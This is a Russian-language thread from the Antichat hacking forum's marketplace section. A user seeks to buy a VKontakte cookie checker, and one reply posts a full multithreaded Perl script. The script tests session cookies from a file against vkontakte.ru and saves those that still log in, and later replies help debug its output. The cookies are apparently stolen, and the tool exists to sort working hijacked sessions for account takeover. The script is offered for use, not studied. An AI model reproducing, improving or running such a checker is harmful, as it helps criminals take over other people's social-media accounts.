Форум АНТИЧАТ - куплю чекер куков вк

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Покупка, продажа, услуги в Соц. Сетях (https://forum.antichat.xyz/forumdisplay.php?f=134)

- - куплю чекер куков вк (https://forum.antichat.xyz/showthread.php?t=125416)

куплю чекер куков вк

нужно чтобы кроме чека на валид, еще были и доп. функция, такие как кол-во голосов на акке

icq 422915664

Есть знакомый, готовый продать. Сколько денег даёшь?

inlanger
А по чём продаёт? Тоже заинтерисовался

я ему ссылку скинул на тему, вечерком отпишется

так же интересует такой чекер.

В самом простом варианте

Код:

use strict;

use warnings;

use IO::Socket;

use threads;

use threads::shared;



my $cfile = './cookie.txt'; #кукисы

my $fgood = './valid.txt'; #валид

my $thrnm = 1; #потоки



open F, "<", $cfile || die $!;

chomp(my @clist : shared = <F>);

close F;

my @trl = ();



for(0..$thrnm-1) {$trl[$_] = threads->create(\&check) }

for(@trl)   { $_->join }



sub check

{

 while(@clist)

        {

         my $line;

         {lock(@clist); $line = shift @clist;}

         my $sock = new IO::Socket::INET 

                (

                PeerAddr => 'vkontakte.ru',

                   PeerPort => 80, 

                   PeerProto => 'tcp', 

                   TimeOut => 20

                ) or warn "Can't connect\n";

         

         my $req = "GET http://vkontakte.ru/ HTTP/1.0\n".

         "Host: vkontakte.ru\n".

         "Cookie: ".$line."\n\n";



         print $sock $req;

         read $sock, my $answ, 64;

         

         if($answ =~ /302 Found/)

                {

                 print "[+] ".substr($line, 0, 50)."\n";

                 open F, ">>", $fgood || die $!;

                 print F $line;

                 close F;

                }

         else

                {

                 print "[-] ".substr($line, 0, 50)."\n";

                }

         close $sock;

        }

}

Вот,кого интересует мой http://forum.xakep.ru/m_1518473/tm.htm

Тоже бы не против, Mixon, свяжись пожалуйста.

Kaimi, а как сделать что в valid.txt 1 кука - 1 строка было?
open F, ">>", $fgood || die $! ."\n";

не помогает...

print F $line;
замени на
print F $line."\n";